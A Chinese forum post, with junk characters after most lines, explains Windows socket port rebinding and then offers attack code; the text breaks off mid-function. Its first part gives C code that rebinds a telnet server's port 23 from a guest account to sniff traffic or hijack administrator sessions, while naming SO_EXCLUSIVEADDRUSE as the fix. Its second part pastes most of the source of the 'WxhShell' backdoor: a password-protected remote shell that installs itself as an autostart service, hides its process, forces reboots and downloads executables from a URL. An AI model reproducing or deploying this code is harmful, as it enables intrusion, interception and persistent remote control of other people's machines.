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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: qYlhlHD  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K%^V?NP*{Z  
#MRMNL@   
  saddr.sin_family = AF_INET; %`&2+\`  
,M^P!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); l]8D7(g  
m+lvl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vSi.txV2  
5 N#3a0)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )?X-(4  
v 8$>rwB  
  这意味着什么?意味着可以进行如下的攻击: )i !o8YB  
R,pX:H&#+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 TrLu~4  
U$_xUG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~ xft  
>D(RYI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +\F'iAs@  
xHz[t6;4;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  gqu?o&>9  
z@B=:tf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Fsif6k=4  
rvXWcu-"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K95p>E`9e  
SjwyLc  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cp#JBH O  
A?-oL='  
  #include yIDD@j=l  
  #include J6L  K  
  #include  DX"xy  
  #include    L5 veX}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <8d^^0  
  int main() <N_+=_  
  { IE9 XU9Kd  
  WORD wVersionRequested; RPE5K:P  
  DWORD ret; il:$sd  
  WSADATA wsaData; E )5E$  
  BOOL val; A-T]9f9  
  SOCKADDR_IN saddr; 2JJ"O|Ibz  
  SOCKADDR_IN scaddr; L1Iz<>  
  int err; }>VG~u8  
  SOCKET s; E#u l IgD  
  SOCKET sc; }Ub6eXf(2  
  int caddsize; XgLL!5`  
  HANDLE mt; 9hOJvQ2U]  
  DWORD tid;   %we u 1f  
  wVersionRequested = MAKEWORD( 2, 2 ); J|w\@inQ  
  err = WSAStartup( wVersionRequested, &wsaData ); V>A .iim  
  if ( err != 0 ) { -Xxqm%([71  
  printf("error!WSAStartup failed!\n"); x)rM/Kq  
  return -1; {j:hod@-:5  
  } W!?7D0q  
  saddr.sin_family = AF_INET; PzA|t;*  
   ~~SwCXZ+b^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >i5acuth  
b0Kc^uj5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m6',SY9T  
  saddr.sin_port = htons(23); j}~86JO+Cw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -lhLA`6_R  
  { nIU6h  
  printf("error!socket failed!\n"); 1rkE yh??  
  return -1; B:!W$ <  
  } Z(Bp 0a  
  val = TRUE; ~[\_N\rm  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jC7&s$>Q"g  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) IFDZfx  
  { '+$EhFwD  
  printf("error!setsockopt failed!\n"); }lfnnK#  
  return -1; dVsE^jsL  
  } $D}{]MN.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Mi/&f   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WnGGo ' Z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }jVSlCF@t  
hA33K #bC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *g[^.Sg  
  { /Rg*~Ers *  
  ret=GetLastError(); )w0AC"2O~  
  printf("error!bind failed!\n"); p TeOW9  
  return -1; "87ghj_}  
  } 2U; t(,dn'  
  listen(s,2); m<0&~rg   
  while(1) WV#%PJ  
  { v7DE  
  caddsize = sizeof(scaddr); _ B 5gR  
  //接受连接请求 zJ)*Z,7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {6~l$  
  if(sc!=INVALID_SOCKET) []A%<EI7  
  { /k<WNZM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); C\di7z:  
  if(mt==NULL) !kE-_dY6)  
  { ;ByOth|9P  
  printf("Thread Creat Failed!\n"); /6h(6 *JI  
  break; CC@.MA@9N  
  } ?_Q/}@`  
  } &9"-`-[e:  
  CloseHandle(mt); }b0; 0j  
  } <_XWWT%  
  closesocket(s); 9\]^|?zQ`  
  WSACleanup(); yq NzdzX  
  return 0; Wh%ucX&  
  }   RW}"2  
  DWORD WINAPI ClientThread(LPVOID lpParam) yRiP{$E  
  { -tyK~aasQ  
  SOCKET ss = (SOCKET)lpParam; ngat0'oa  
  SOCKET sc; /l<<_uk$  
  unsigned char buf[4096]; |"9 #bU  
  SOCKADDR_IN saddr; i}o[- S4  
  long num; ]@0NO;bK>F  
  DWORD val; :P@rkT3Qt  
  DWORD ret; 4y5UkU9|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )J NSZB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ldl 5zc  
  saddr.sin_family = AF_INET; JGH60|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); DNj "SF(J  
  saddr.sin_port = htons(23); WN_pd%m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TW9WMId  
  { 'I /aboDB  
  printf("error!socket failed!\n"); stk9Ah  
  return -1; ]s GHG^I6  
  } K%X^n>O7C  
  val = 100; D*YM[sN`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8kIR y   
  { =n' 4?W@  
  ret = GetLastError(); ^-[?#]  
  return -1; gW1b~( fD  
  } %0mMz.f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [_.5RPJP8  
  { mUz\ra;z  
  ret = GetLastError(); 6^c>,.R  
  return -1; ^+m+zd_  
  } i6 (a@KRY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ZU9c 5/J  
  { OKvPL=~  
  printf("error!socket connect failed!\n"); S:x?6IDPC^  
  closesocket(sc); kr9g K~  
  closesocket(ss); Q]w&N30  
  return -1; p mFk50`  
  } +ke1Cn'[  
  while(1) *mMEl]+  
  { = pzn u+,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 pKjoi{ Z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wj1{M.EF\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 DVkB$2]  
  num = recv(ss,buf,4096,0); v^_mFp-}\  
  if(num>0) ?x0pe4^If  
  send(sc,buf,num,0); bgK<pi)d  
  else if(num==0) |-CnT:|o  
  break; "/nNM{^  
  num = recv(sc,buf,4096,0); !E-Pa5s  
  if(num>0) f uB)qt!E  
  send(ss,buf,num,0); CCX8>09  
  else if(num==0) V86Xg:?7  
  break; ocyb5j  
  } His*t1o8'O  
  closesocket(ss); 'D%w|Pe?Q  
  closesocket(sc); =07]z@s  
  return 0 ; 4L73]3&  
  } bug Ot7  
gt7VxZ  
]Bm>-*@0N  
========================================================== bC3 F  
4ON_$FUe  
下边附上一个代码,,WXhSHELL _%x4ty  
i]#+1Hf  
========================================================== >Z;jY*  
*\o/q[  
#include "stdafx.h" 1<h>B:  
!2|=PB' M  
#include <stdio.h> [M%9_CfZOy  
#include <string.h> p*8-W(u)  
#include <windows.h> .<K iMh  
#include <winsock2.h> 3tmdi3s  
#include <winsvc.h> #%FN>v3e  
#include <urlmon.h> B: \Uw|Mf  
}=2;  
#pragma comment (lib, "Ws2_32.lib") 7rC uu*M  
#pragma comment (lib, "urlmon.lib") ~6 I)|^Z  
BnM4T~reOF  
#define MAX_USER   100 // 最大客户端连接数 I Nc^L  
#define BUF_SOCK   200 // sock buffer Go&D[#  
#define KEY_BUFF   255 // 输入 buffer @y/wEBb  
{q3H5csFq  
#define REBOOT     0   // 重启 wM _ 6{  
#define SHUTDOWN   1   // 关机 @Fpb-Qd"  
-.|4Y#b:&  
#define DEF_PORT   5000 // 监听端口 \Fe_rh  
u?[ q=0.J7  
#define REG_LEN     16   // 注册表键长度 3F#+~^2  
#define SVC_LEN     80   // NT服务名长度 Z^9/v  
)C.yF)Ql  
// 从dll定义API 3~qR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1H,g=Y4f%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7 ua6l[c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8v)_6p(<x8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EOoZoVdzx  
O`$#Pg  
// wxhshell配置信息 zj|/ CxV  
struct WSCFG { }elH75[64  
  int ws_port;         // 监听端口 nSCWg=E^  
  char ws_passstr[REG_LEN]; // 口令 R <"6ojn  
  int ws_autoins;       // 安装标记, 1=yes 0=no oQ7]= |  
  char ws_regname[REG_LEN]; // 注册表键名 0gn@h/F2%  
  char ws_svcname[REG_LEN]; // 服务名 /V?H4z[G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {gKN d*[*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]}UgS+g>$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =ORf%f5"'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "|m|E/Z-9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZCg`z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $oLU; q%  
pU!o7>p  
}; IAOcKQ3  
h)v^q: ='  
// default Wxhshell configuration Oc&),ru2l  
struct WSCFG wscfg={DEF_PORT, v[lnw} =m9  
    "xuhuanlingzhe", &-1./?  
    1, K{l5m{:%  
    "Wxhshell", S }>n1F_  
    "Wxhshell", cMzkL%  
            "WxhShell Service", M/*NM= -a  
    "Wrsky Windows CmdShell Service", `E\imL  
    "Please Input Your Password: ", |7^^*UzSK:  
  1, 3g~^LZ66  
  "http://www.wrsky.com/wxhshell.exe", $iM=4 3W  
  "Wxhshell.exe" K"2|[5  
    }; Uw<&Wm`'  
x>~p;z#VX  
// 消息定义模块 ~B$b)`*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wG8Wez%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @S 6u9v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D^Ys)- d  
char *msg_ws_ext="\n\rExit."; t!_x(u  
char *msg_ws_end="\n\rQuit."; Be}$I_95\P  
char *msg_ws_boot="\n\rReboot..."; 8#` 6M5  
char *msg_ws_poff="\n\rShutdown..."; E:nt)Ef,  
char *msg_ws_down="\n\rSave to "; A7P`lJgv  
{5%/T,  
char *msg_ws_err="\n\rErr!"; oY`qInM_  
char *msg_ws_ok="\n\rOK!"; CT d|`  
]Fb0Az  
char ExeFile[MAX_PATH]; %TrF0{NR90  
int nUser = 0; $gMCR b,  
HANDLE handles[MAX_USER]; \O7J=6fn  
int OsIsNt; XV'fW~j\  
yW.COWL=)  
SERVICE_STATUS       serviceStatus; L<(VG{)Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Zwe[_z!*D  
J Lb6C 52  
// 函数声明 x:t<ZG&Xwg  
int Install(void); Ewo*yY>  
int Uninstall(void); N*DhjEU)[  
int DownloadFile(char *sURL, SOCKET wsh); +ySY>`1k~  
int Boot(int flag); yoqa@V  
void HideProc(void); 4(vyp.f  
int GetOsVer(void); 0p fnV%  
int Wxhshell(SOCKET wsl); cbKL$|  
void TalkWithClient(void *cs); uG>nV  
int CmdShell(SOCKET sock); gUB{Bh($Y  
int StartFromService(void); K%}}fw2RMN  
int StartWxhshell(LPSTR lpCmdLine); ,M3z!=oIGn  
z#<P} }  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tiLu75vj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'Zk<l#"}  
eSl-9 ^  
// 数据结构和表定义 HBLWOQab  
SERVICE_TABLE_ENTRY DispatchTable[] = F?Or;p5`Y  
{ AV@\ +0  
{wscfg.ws_svcname, NTServiceMain}, G5Q!L;3HZ  
{NULL, NULL} 9e<Zgr?N  
}; ][Y^-Ak1  
SvK1.NUa  
// 自我安装 ke/_k/  
int Install(void) W'_/6_c$!  
{  r@T| e  
  char svExeFile[MAX_PATH]; Su8'$CFz$.  
  HKEY key; f|xLKcOP  
  strcpy(svExeFile,ExeFile); =hw^P%Zn  
/hdf{4  
// 如果是win9x系统,修改注册表设为自启动 4FA|[An  
if(!OsIsNt) { [V@yRWI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T{*^_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1a9w(X  
  RegCloseKey(key); MB:n~>ga  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M@?"t_e1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J"[3~&em  
  RegCloseKey(key); =8{*@>CX  
  return 0; N"DY?6  
    } a ]1i/3/  
  } F>:%Cyo0!  
} 7tH]*T9e>  
else { {e]NU<G ,  
,VD6s !(  
// 如果是NT以上系统,安装为系统服务 <<3+g"enno  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2ALj}  
if (schSCManager!=0) GYgWf1$8_D  
{ da*9(!OV  
  SC_HANDLE schService = CreateService v`)m">e*w  
  ( |l90g|isJ  
  schSCManager, Sa] mm/ G  
  wscfg.ws_svcname, &]nd!N  
  wscfg.ws_svcdisp, 6MrKi|'X@  
  SERVICE_ALL_ACCESS, |}qjqtZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E_[ONm=,  
  SERVICE_AUTO_START, R @r{  
  SERVICE_ERROR_NORMAL, g'G8 3F  
  svExeFile, B5Va%?Wg?H  
  NULL, Kp_jy.e7&  
  NULL, *d l"wH&  
  NULL, I=YCQ VvA  
  NULL, "d?f:x3v^  
  NULL /{N))  
  ); `F,zenk=  
  if (schService!=0) ez0\bym  
  { ?~qC,N[  
  CloseServiceHandle(schService); rh$1-Y  
  CloseServiceHandle(schSCManager); R^9"N?Q7;`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  ,o&<WMD  
  strcat(svExeFile,wscfg.ws_svcname); 96W4 c]NT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { md6*c./Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3%NE/lw1  
  RegCloseKey(key); g)M#{"H  
  return 0; w2 )/mSnu  
    } 5X;?I/9  
  } }W "(c YN_  
  CloseServiceHandle(schSCManager); h}6b&m  
} y@9Y,ZR*  
} 3@X|Gs'_S  
v,\93mNp[  
return 1; |p'i,.(c_W  
} K%<GU1]-]  
`9EVB;  
// 自我卸载 2nx8iA  
int Uninstall(void) tG 7+7Z =  
{ $Z7:#cZ Y  
  HKEY key; |B1Af  
!?r/ 4  
if(!OsIsNt) { [ i9[Mj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /$OIlu  
  RegDeleteValue(key,wscfg.ws_regname); ^4hc+sh0D  
  RegCloseKey(key); ,'-?:`hP'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,%='>A  
  RegDeleteValue(key,wscfg.ws_regname); aa=b<Cd  
  RegCloseKey(key); !@yQK<0  
  return 0; 4H7Oh*P\j  
  } gCwt0)  
} LO>8 j:  
} <"ae4  
else { 14u^[M" U  
iJ*%dio  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q+J0}y{#8)  
if (schSCManager!=0) ^=#!D[xj>  
{ q/J3cXa{K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (v|`LmV  
  if (schService!=0) 0sabh`iQ^  
  { #]5)]LF1q  
  if(DeleteService(schService)!=0) { (lWKy9eTy`  
  CloseServiceHandle(schService); 1?]J;9p  
  CloseServiceHandle(schSCManager); 2 _Jb9:/X  
  return 0; DD6'M U4  
  } %((cFQ9  
  CloseServiceHandle(schService); T=yCN#cqQ`  
  } #?5VsD8  
  CloseServiceHandle(schSCManager); @ YrGyq  
} '7=<#Blc  
} U:Fpj~E_w  
c8tP+O9  
return 1; p(7c33SyF  
} x[a'(5PwY  
lzI/\%  
// 从指定url下载文件 " xxXZGUp  
int DownloadFile(char *sURL, SOCKET wsh) k^yy$^=<  
{ tpz=} q  
  HRESULT hr; ^X(_zinN"  
char seps[]= "/"; C0f[eA  
char *token; TQ2i{e  
char *file; gTyW#verh$  
char myURL[MAX_PATH]; sK[Nti0  
char myFILE[MAX_PATH]; (T;1q^j  
?bCTLt7k  
strcpy(myURL,sURL); ]N_140N~  
  token=strtok(myURL,seps); zPA>af~Ej  
  while(token!=NULL) aH9L|BN*  
  { l85CJ+rg  
    file=token; .>oM z&  
  token=strtok(NULL,seps); b__n~\q_  
  } PKATw>zg<  
~CJYQFt  
GetCurrentDirectory(MAX_PATH,myFILE); cxk=| ?l  
strcat(myFILE, "\\"); 3 dY6;/s  
strcat(myFILE, file); !zl/0o  
  send(wsh,myFILE,strlen(myFILE),0); "9.6\Y\*  
send(wsh,"...",3,0); }cyq'm i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g;ct!f=U  
  if(hr==S_OK) OC`QD5  
return 0; Q9nu"x %  
else g')?J<z   
return 1; 8Y]u:v  
mURX I'JkX  
} OHQ3+WJ  
'fX er!L}  
// 系统电源模块 F}\[eFf[  
int Boot(int flag) CVi<~7Am\  
{ 79y'Ja+`j  
  HANDLE hToken; o^N%;d1%E  
  TOKEN_PRIVILEGES tkp; !fif8kf  
xDNw /'  
  if(OsIsNt) { 6pS Rum  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 78\\8*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #NSaY+V  
    tkp.PrivilegeCount = 1; #0xm3rFy4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w2s,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >l6XZQ >  
if(flag==REBOOT) { @)+i{Niuv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C3^X1F0  
  return 0; FP0<-9DO  
} D_]i/ F%  
else { %Tk}sfx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I*%&)Hj~  
  return 0; gDgP;i d  
} (}~ 1{C@  
  } P2s^=J0@  
  else { &fh.w]\  
if(flag==REBOOT) { \0xzBs1!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %Td+J`|U+  
  return 0; G>9'5Lt  
} tauP1&%oH{  
else { :6qUSE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {5?!`<fF  
  return 0; <PH3gyC  
}  W\zL  
} 9p!dQx  
$H %+k?  
return 1; Au%Wrk3j  
} m  mw)C"  
N$L&|4r  
// win9x进程隐藏模块 !: `Ra  
void HideProc(void) )i?{;%^  
{ C&qDvvk  
'bd=,QW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7~QwlU3n<F  
  if ( hKernel != NULL ) zcbA)  
  { U* c{:K-C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jFK9?cLT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +K @J*W 1  
    FreeLibrary(hKernel); E}E7VQjM  
  } u^;sx/  
%6vMpB`g  
return; EC:x  ,i  
} _~(M A-l  
kY0g}o'<  
// 获取操作系统版本 AF07KA#  
int GetOsVer(void) S<)RVm,!e  
{ $]`'Mi  
  OSVERSIONINFO winfo; ~%::r_hQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :5n"N5Go  
  GetVersionEx(&winfo); INeWi=1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4l#T_y  
  return 1; A X^3uRQJ  
  else xf{C 'uF/  
  return 0;  $Adp  
} #m[w=Pu}  
?Ix'2v  
// 客户端句柄模块 (>kBmK1Aj  
int Wxhshell(SOCKET wsl) +;4AG::GN  
{ 'bQ s_  
  SOCKET wsh; ;nHo%`Zt  
  struct sockaddr_in client; _dB0rsCnU%  
  DWORD myID; 8M5!5Jzv  
U(=f5|-  
  while(nUser<MAX_USER) {&Gk.ODI7  
{ +"fM &F]  
  int nSize=sizeof(client); ({}O M=_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p3'mJ3MA  
  if(wsh==INVALID_SOCKET) return 1; &' oacV=  
5Rt0h$_J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2Q;Y@%G  
if(handles[nUser]==0) Bwi[qw  
  closesocket(wsh); tS*^}e*  
else cnjj) c  
  nUser++; t8wz'[z  
  } }rb ]d'|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8Y;zs7Y  
:9O0?6:B|  
  return 0;  Cq~ah  
} =QO1FO  
2*UE&Gp  
// 关闭 socket 9-e[S3ziM  
void CloseIt(SOCKET wsh) (J?}eb;>n  
{ IQIb\OUo!v  
closesocket(wsh); xaq=?3QOH  
nUser--; bx%hizb  
ExitThread(0); `U?H^,FVA  
} LQ&d|giA  
JJZXSBAOU  
// 客户端请求句柄 9  lazo  
void TalkWithClient(void *cs) V.G9J!?<P  
{ eG2qOq$[  
5IB:4zx^h  
  SOCKET wsh=(SOCKET)cs; XiZ Zo  
  char pwd[SVC_LEN]; 2+G:04eS,e  
  char cmd[KEY_BUFF]; He$mu=$q{  
char chr[1]; ]$`s}BN  
int i,j; \]d*h]Hms  
K]=>F  
  while (nUser < MAX_USER) { wW)&Px n  
`peJ s~V  
if(wscfg.ws_passstr) { @8 yE(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r~B Qy'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5/eS1NJ@  
  //ZeroMemory(pwd,KEY_BUFF); ?p/kuv{\o#  
      i=0; |@n{tog+-  
  while(i<SVC_LEN) { [HZCnO|N  
:Pp;{=J  
  // 设置超时 (nP*  
  fd_set FdRead; J\8l%4q3  
  struct timeval TimeOut; N<i Vs  
  FD_ZERO(&FdRead); VRN9yn2  
  FD_SET(wsh,&FdRead); /dP8F  
  TimeOut.tv_sec=8; |LGNoP}SA  
  TimeOut.tv_usec=0; (nZ=9+j]d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h ?qYy$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U8I~co:h  
RU ,N_GV   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0 ?*I_[Y  
  pwd=chr[0]; !`S%l1[Z  
  if(chr[0]==0xd || chr[0]==0xa) { #5"<.z  
  pwd=0; )PZ}^Fa  
  break; 3U.B[7fOM  
  } mWFZg.#?  
  i++; T4, Zc  
    }  ,IvnNnl2  
<OO/Tn'a  
  // 如果是非法用户,关闭 socket oG_'<5Bv>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $@f3=NJ4k  
} qYrGe  
$T%<'=u|E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zSM7x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;<GTtt# D  
_"t.1+-K  
while(1) { %TggNU,  
R*5;J`TW  
  ZeroMemory(cmd,KEY_BUFF); 0tL/:zID  
?b''  
      // 自动支持客户端 telnet标准   h.+&=s!Nsy  
  j=0; u0H`%m  
  while(j<KEY_BUFF) { ^~IcQ!j/5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E@}j}/%'O  
  cmd[j]=chr[0]; _!g NF=  
  if(chr[0]==0xa || chr[0]==0xd) { <TROs!x$a  
  cmd[j]=0; WBIB'2:m  
  break; H;!hp0y  
  } =}o>_+"  
  j++; \ A UtGP  
    } c\rbLr}l)  
:/[ZgreN6  
  // 下载文件 J?ZVzKTb>}  
  if(strstr(cmd,"http://")) { K#+]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $0C/S5b  
  if(DownloadFile(cmd,wsh)) 5dEO_1q %  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (tz]!Aa{s  
  else z4`n%~w1b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n&78~@H  
  } ok _{8z\#  
  else { xR6IXF>*  
MifgRUe  
    switch(cmd[0]) { ={0{X9t?'j  
  A;nmua-Fv  
  // 帮助 =5_F9nk-   
  case '?': { # i=^WN<V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $I]x &cF  
    break; 8GZjIW*0oq  
  } KKXb,/  
  // 安装 U8Jj(]},_  
  case 'i': { -6Si  
    if(Install()) j/ IZm)\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %~VIxY|d  
    else @I.O T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CN>};>WlG  
    break; toZI.cSg4  
    } n#'',4f  
  // 卸载 R[-:-8  
  case 'r': { )Nd:PnA  
    if(Uninstall()) \4X{\ p<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TB[2!ZW  
    else ?vNS!rY2&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s H[34gCh;  
    break; ~{!!=@6  
    } RtM.}wv;  
  // 显示 wxhshell 所在路径 Elk$9 < <  
  case 'p': { BD+~8v  
    char svExeFile[MAX_PATH]; P(+ar#,G  
    strcpy(svExeFile,"\n\r"); k<hO9;#qpL  
      strcat(svExeFile,ExeFile); I~6 ;9TlQ  
        send(wsh,svExeFile,strlen(svExeFile),0); d>-EtWd  
    break; z2zp c^i  
    } | N,nt@~  
  // 重启 kYa' ] m  
  case 'b': { HliY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); = gyK*F(RK  
    if(Boot(REBOOT)) 5h7DVr!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bu5)~|?{t  
    else {  #7"5Y_0-  
    closesocket(wsh); ] CE2/6Ph  
    ExitThread(0); mW9b~G3k  
    } 6)j4 TH  
    break; ^Wz{su2  
    } yYtki  
  // 关机 'Em($A (  
  case 'd': { Di=6.gm[<  
